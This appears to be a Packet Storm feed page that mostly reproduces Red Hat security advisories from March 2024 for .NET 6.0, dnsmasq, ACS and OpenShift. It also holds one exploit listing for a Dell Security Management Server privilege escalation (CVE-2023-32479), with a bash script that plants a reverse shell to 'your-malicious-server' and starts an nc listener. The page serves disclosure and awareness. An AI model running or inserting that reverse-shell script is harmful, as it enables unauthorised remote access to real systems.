Red Hat Security Advisory 2024-1555-03 - An update for.NET 6.0 is now available for Red Hat Enterprise Linux 9. Issues addressed include a denial of service vulnerability.

    The following advisory data is extracted from:https://access.redhat.com/security/data/csaf/v2/advisories/2024/rhsa-2024_1555.jsonRed Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.- Packet Storm Staff====================================================================Red Hat Security AdvisorySynopsis:           Important: .NET 6.0 security updateAdvisory ID:        RHSA-2024:1555-03Product:            Red Hat Enterprise LinuxAdvisory URL:       https://access.redhat.com/errata/RHSA-2024:1555Issue date:         2024-03-28Revision:           03CVE Names:          CVE-2024-21404====================================================================Summary: An update for .NET 6.0 is now available for Red Hat Enterprise Linux 9.Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.Description:.NET is a managed-software framework. It implements a subset of the .NET framework APIs and several new APIs, and it includes a CLR implementation.New versions of .NET that address a security vulnerability are now available. The updated versions are .NET SDK 6.0.127 and .NET Runtime 6.0.27.Security Fix(es):* dotnet: Denial of Service in X509Certificate2 (CVE-2024-21404)For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.Solution:https://access.redhat.com/articles/11258CVEs:CVE-2024-21404References:https://access.redhat.com/security/updates/classification/#importanthttps://bugzilla.redhat.com/show_bug.cgi?id=2263086

Red Hat Security Advisory 2024-1555-03

Red Hat Security Advisory 2024-1554-03 - An update for.NET 6.0 is now available for Red Hat Enterprise Linux 8. Issues addressed include a denial of service vulnerability.

    The following advisory data is extracted from:https://access.redhat.com/security/data/csaf/v2/advisories/2024/rhsa-2024_1554.jsonRed Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.- Packet Storm Staff====================================================================Red Hat Security AdvisorySynopsis:           Important: .NET 6.0 security updateAdvisory ID:        RHSA-2024:1554-03Product:            Red Hat Enterprise LinuxAdvisory URL:       https://access.redhat.com/errata/RHSA-2024:1554Issue date:         2024-03-28Revision:           03CVE Names:          CVE-2024-21404====================================================================Summary: An update for .NET 6.0 is now available for Red Hat Enterprise Linux 8.Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.Description:.NET is a managed-software framework. It implements a subset of the .NET framework APIs and several new APIs, and it includes a CLR implementation.New versions of .NET that address a security vulnerability are now available. The updated versions are .NET SDK 6.0.127 and .NET Runtime 6.0.27.Security Fix(es):* dotnet: Denial of Service in X509Certificate2 (CVE-2024-21404)For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.Solution:https://access.redhat.com/articles/11258CVEs:CVE-2024-21404References:https://access.redhat.com/security/updates/classification/#importanthttps://bugzilla.redhat.com/show_bug.cgi?id=2263086

Red Hat Security Advisory 2024-1554-03

Dell Security Management Server versions prior to 11.9.0 suffer from a local privilege escalation vulnerability.

    # Exploit Title: [title] Dell Security Management Server versions prior to11.9.0# Exploit Author: [author] Amirhossein Bahramizadeh# CVE : [if applicable] CVE-2023-32479Dell Encryption, Dell Endpoint Security Suite Enterprise, and Dell SecurityManagementServer versions prior to 11.9.0 contain privilege escalation vulnerabilitydue to improper ACL of the non-default installation directory. A localmalicious user could potentially exploit this vulnerability by replacingbinaries in installed directory and taking the reverse shell of the systemleading to Privilege Escalation.#!/bin/bashINSTALL_DIR="/opt/dell"# Check if the installed directory has improper ACLsif [ -w "$INSTALL_DIR" ]; then    # Replace a binary in the installed directory with a malicious binary that opens a reverse shell    echo "#!/bin/bash" > "$INSTALL_DIR/dell-exploit"    echo "bash -i >& /dev/tcp/your-malicious-server/1234 0>&1" >> "$INSTALL_DIR/dell-exploit"    chmod +x "$INSTALL_DIR/dell-exploit"    # Wait for the reverse shell to connect to your malicious server    nc -lvnp 1234fi

Dell Security Management Server Privilege Escalation

Red Hat Security Advisory 2024-1553-03 - An update for.NET 6.0 is now available for Red Hat Enterprise Linux 8. Issues addressed include a denial of service vulnerability.

    The following advisory data is extracted from:https://access.redhat.com/security/data/csaf/v2/advisories/2024/rhsa-2024_1553.jsonRed Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.- Packet Storm Staff====================================================================Red Hat Security AdvisorySynopsis:           Important: .NET 6.0 security updateAdvisory ID:        RHSA-2024:1553-03Product:            Red Hat Enterprise LinuxAdvisory URL:       https://access.redhat.com/errata/RHSA-2024:1553Issue date:         2024-03-28Revision:           03CVE Names:          CVE-2024-21404====================================================================Summary: An update for .NET 6.0 is now available for Red Hat Enterprise Linux 8.Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.Description:.NET is a managed-software framework. It implements a subset of the .NET framework APIs and several new APIs, and it includes a CLR implementation.New versions of .NET that address a security vulnerability are now available. The updated versions are .NET SDK 6.0.127 and .NET Runtime 6.0.27.Security Fix(es):* dotnet: Denial of Service in X509Certificate2 (CVE-2024-21404)For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.Solution:https://access.redhat.com/articles/11258CVEs:CVE-2024-21404References:https://access.redhat.com/security/updates/classification/#importanthttps://bugzilla.redhat.com/show_bug.cgi?id=2263086

Red Hat Security Advisory 2024-1553-03

Red Hat Security Advisory 2024-1552-03 - An update for.NET 6.0 is now available for Red Hat Enterprise Linux 9. Issues addressed include a denial of service vulnerability.

    The following advisory data is extracted from:https://access.redhat.com/security/data/csaf/v2/advisories/2024/rhsa-2024_1552.jsonRed Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.- Packet Storm Staff====================================================================Red Hat Security AdvisorySynopsis:           Important: .NET 6.0 security updateAdvisory ID:        RHSA-2024:1552-03Product:            Red Hat Enterprise LinuxAdvisory URL:       https://access.redhat.com/errata/RHSA-2024:1552Issue date:         2024-03-28Revision:           03CVE Names:          CVE-2024-21404====================================================================Summary: An update for .NET 6.0 is now available for Red Hat Enterprise Linux 9.Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.Description:.NET is a managed-software framework. It implements a subset of the .NET framework APIs and several new APIs, and it includes a CLR implementation.New versions of .NET that address a security vulnerability are now available. The updated versions are .NET SDK 6.0.127 and .NET Runtime 6.0.27.Security Fix(es):* dotnet: Denial of Service in X509Certificate2 (CVE-2024-21404)For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.Solution:https://access.redhat.com/articles/11258CVEs:CVE-2024-21404References:https://access.redhat.com/security/updates/classification/#importanthttps://bugzilla.redhat.com/show_bug.cgi?id=2263086

Red Hat Security Advisory 2024-1552-03

Red Hat Security Advisory 2024-1549-03 - Updated images are now available for Red Hat Advanced Cluster Security. The updated image includes bug and security fixes. Issues addressed include a traversal vulnerability.

The following advisory data is extracted from:

https://access.redhat.com/security/data/csaf/v2/advisories/2024/rhsa-2024_1549.json

Red Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.

- Packet Storm Staff

====================================================================  
Red Hat Security Advisory

Synopsis:           Critical: ACS 4.3 enhancement and security update  
Advisory ID:        RHSA-2024:1549-03  
Product:            Red Hat Advanced Cluster Security for Kubernetes  
Advisory URL:       https://access.redhat.com/errata/RHSA-2024:1549  
Issue date:         2024-03-28  
Revision:           03  
CVE Names:          CVE-2019-25210  
====================================================================

Summary: 

Updated images are now available for Red Hat Advanced Cluster Security. The  
updated image includes bug and security fixes.

Red Hat Product Security has rated this update as having a security impact of Critical. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.

Description:

This release of RHACS 4.3.6 provides the following bug fix:

* Fixed an issue where an incorrectly configured Jira notifier causes the Central component of RHACS to enter a crash loop

It provides the following security fixes:

* go-git: Maliciously crafted Git server replies can lead to path traversal and RCE on go-git clients (CVE-2023-49569)  
* helm: Missing YAML content leads to panic (CVE-2024-26147)  
* helm: Shows secrets with --dry-run option in clear text (CVE-2019-25210)

For more details about the security issue(s), including the impact, a CVSS  
score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Solution:

CVEs:

CVE-2019-25210

References:

https://access.redhat.com/security/updates/classification/#critical  
https://bugzilla.redhat.com/show_bug.cgi?id=2258143  
https://bugzilla.redhat.com/show_bug.cgi?id=2265440  
https://issues.redhat.com/browse/ROX-23314

Red Hat Security Advisory 2024-1549-03

Red Hat Security Advisory 2024-1545-03 - An update for dnsmasq is now available for Red Hat Enterprise Linux 8.6 Extended Update Support. Issues addressed include a use-after-free vulnerability.

The following advisory data is extracted from:

https://access.redhat.com/security/data/csaf/v2/advisories/2024/rhsa-2024_1545.json

Red Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.

- Packet Storm Staff

====================================================================  
Red Hat Security Advisory

Synopsis:           Important: dnsmasq security update  
Advisory ID:        RHSA-2024:1545-03  
Product:            Red Hat Enterprise Linux  
Advisory URL:       https://access.redhat.com/errata/RHSA-2024:1545  
Issue date:         2024-03-27  
Revision:           03  
CVE Names:          CVE-2022-0934  
====================================================================

Summary: 

An update for dnsmasq is now available for Red Hat Enterprise Linux 8.6 Extended Update Support.

Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.

Description:

The dnsmasq packages contain dnsmasq, a lightweight DNS (Domain Name Server) forwarder and DHCP (Dynamic Host Configuration Protocol) server.

Security Fixes:

* dnsmasq: Heap use after free in dhcp6_no_relay (CVE-2022-0934)

* dnsmasq: default maximum EDNS.0 UDP packet size was set to 4096 but should be 1232 (CVE-2023-28450)

* dnsmasq: bind9: KeyTrap - Extreme CPU consumption in DNSSEC validator (CVE-2023-50387)

* dnsmasq: bind9: Preparing an NSEC3 closest encloser proof can exhaust CPU resources (CVE-2023-50868)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Solution:

https://access.redhat.com/articles/11258

CVEs:

CVE-2022-0934

References:

https://access.redhat.com/security/updates/classification/#important  
https://bugzilla.redhat.com/show_bug.cgi?id=2057075  
https://bugzilla.redhat.com/show_bug.cgi?id=2178948  
https://bugzilla.redhat.com/show_bug.cgi?id=2263914  
https://bugzilla.redhat.com/show_bug.cgi?id=2263917

Red Hat Security Advisory 2024-1545-03

Red Hat Security Advisory 2024-1544-03 - An update for dnsmasq is now available for Red Hat Enterprise Linux 8.8 Extended Update Support.

The following advisory data is extracted from:

https://access.redhat.com/security/data/csaf/v2/advisories/2024/rhsa-2024_1544.json

Red Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.

- Packet Storm Staff

====================================================================  
Red Hat Security Advisory

Synopsis:           Important: dnsmasq security and bug fix update  
Advisory ID:        RHSA-2024:1544-03  
Product:            Red Hat Enterprise Linux  
Advisory URL:       https://access.redhat.com/errata/RHSA-2024:1544  
Issue date:         2024-03-27  
Revision:           03  
CVE Names:          CVE-2023-28450  
====================================================================

Summary: 

An update for dnsmasq is now available for Red Hat Enterprise Linux 8.8 Extended Update Support.

Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.

Description:

The dnsmasq packages contain dnsmasq, a lightweight DNS (Domain Name Server) forwarder and DHCP (Dynamic Host Configuration Protocol) server.

Security Fixes:

* dnsmasq: default maximum EDNS.0 UDP packet size was set to 4096 but should be 1232 (CVE-2023-28450)

* dnsmasq: bind9: KeyTrap - Extreme CPU consumption in DNSSEC validator (CVE-2023-50387)

* dnsmasq: bind9: Preparing an NSEC3 closest encloser proof can exhaust CPU resources (CVE-2023-50868)

Bug Fix:

* Segmentation fault occurs in dnsmasq-2.79-26 in RHEL8

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Solution:

https://access.redhat.com/articles/11258

CVEs:

CVE-2023-28450

References:

https://access.redhat.com/security/updates/classification/#important  
https://bugzilla.redhat.com/show_bug.cgi?id=2178948  
https://bugzilla.redhat.com/show_bug.cgi?id=2263914  
https://bugzilla.redhat.com/show_bug.cgi?id=2263917

Red Hat Security Advisory 2024-1544-03

Red Hat Security Advisory 2024-1543-03 - An update for dnsmasq is now available for Red Hat Enterprise Linux 9.0 Extended Update Support.

    The following advisory data is extracted from:https://access.redhat.com/security/data/csaf/v2/advisories/2024/rhsa-2024_1543.jsonRed Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.- Packet Storm Staff====================================================================Red Hat Security AdvisorySynopsis:           Important: dnsmasq security updateAdvisory ID:        RHSA-2024:1543-03Product:            Red Hat Enterprise LinuxAdvisory URL:       https://access.redhat.com/errata/RHSA-2024:1543Issue date:         2024-03-27Revision:           03CVE Names:          CVE-2023-50387====================================================================Summary: An update for dnsmasq is now available for Red Hat Enterprise Linux 9.0 Extended Update Support.Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.Description:The dnsmasq packages contain dnsmasq, a lightweight DNS (Domain Name Server) forwarder and DHCP (Dynamic Host Configuration Protocol) server.Security Fix(es):* dnsmasq: bind9: KeyTrap - Extreme CPU consumption in DNSSEC validator (CVE-2023-50387)* dnsmasq: bind9: Preparing an NSEC3 closest encloser proof can exhaust CPU resources (CVE-2023-50868)For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.Solution:https://access.redhat.com/articles/11258CVEs:CVE-2023-50387References:https://access.redhat.com/security/updates/classification/#importanthttps://bugzilla.redhat.com/show_bug.cgi?id=2263914https://bugzilla.redhat.com/show_bug.cgi?id=2263917

Red Hat Security Advisory 2024-1543-03

Red Hat Security Advisory 2024-1538-03 - An update for cnf-tests-container, dpdk-base-container, performance-addon-operator-must-gather NUMA-aware secondary scheduler, numaresources-operator is now available for Red Hat OpenShift Container Platform 4.12.

The following advisory data is extracted from:

https://access.redhat.com/security/data/csaf/v2/advisories/2024/rhsa-2024_1538.json

Red Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.

- Packet Storm Staff

====================================================================  
Red Hat Security Advisory

Synopsis:           Moderate: OpenShift Container Platform 4.12 low-latency extras security update  
Advisory ID:        RHSA-2024:1538-03  
Product:            Red Hat OpenShift Enterprise  
Advisory URL:       https://access.redhat.com/errata/RHSA-2024:1538  
Issue date:         2024-03-27  
Revision:           03  
CVE Names:          CVE-2024-24786  
====================================================================

Summary: 

An update for cnf-tests-container, dpdk-base-container, performance-addon-operator-must-gather NUMA-aware secondary scheduler, numaresources-operator is now available for Red Hat OpenShift Container Platform 4.12.

Red Hat Product Security has rated this update as having a security impact of  
Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE  
link(s) in the References section.

Description:

Red Hat OpenShift Container Platform is Red Hat's cloud computing Kubernetes application platform solution designed for on-premise or private cloud deployments.

This advisory contains the extra low-latency container images for Red Hat OpenShift Container Platform 4.12. See the following advisory for the container images for this release:

https://access.redhat.com/errata/RHSA-2024:1265

Security Fix(es):

* golang-protobuf: encoding/protojson, internal/encoding/json: infinite loop in protojson.Unmarshal when unmarshaling certain forms of invalid JSON  
(CVE-2024-24786)

All OpenShift Container Platform users are advised to upgrade to these updated  
packages and images.

Solution:

https://access.redhat.com/articles/11258

CVEs:

CVE-2024-24786

References:

https://access.redhat.com/security/updates/classification/#moderate  
https://access.redhat.com/security/cve/cve-2024-24786  
https://bugzilla.redhat.com/show_bug.cgi?id=2268046

Tag

#vulnerability